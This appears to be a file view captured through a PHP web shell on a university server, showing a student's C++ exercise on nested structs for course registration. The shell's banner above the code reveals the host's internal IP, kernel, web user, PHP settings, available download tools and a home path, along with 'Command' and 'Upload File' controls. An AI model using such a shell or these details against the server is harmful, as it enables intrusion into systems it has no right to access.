Server IP : 172.16.15.8 / Your IP : 3.144.93.14 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/cathomas/../snbittner/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// pg.107 for Course // pg.110 for date, stuType, reg // pg.111 for testing code #include <iostream> using namespace std; struct Course { string id; int section; int hours; char period; string location; }; struct date { int month; int day; int year; }; struct stuType { string name; date birth; char grade; }; struct reg { Course crse; stuType stu; string faculty; }; int main() { reg myReg, hisReg; myReg.faculty = "John Wang"; myReg.crse.id = "cs212"; myReg.crse.location = "Bl12"; myReg.crse.hours = 3; myReg.crse.period = 'A'; // pg. 111 Ex(a) // Q; myReg for student: Ally Thomas, 12/1/1992, grade B? myReg.stu.name = "Ally Thomas"; myReg.stu.birth.month = 12; myReg.stu.birth.day = 1; myReg.stu.birth.year = 1992; myReg.stu.grade = 'B'; // pg. 111 Ex(b) hisReg = myReg; cout << "Birth year:" << hisReg.stu.birth.year << "\n\n"; cout << "ByeBye.\n\n"; return 0; }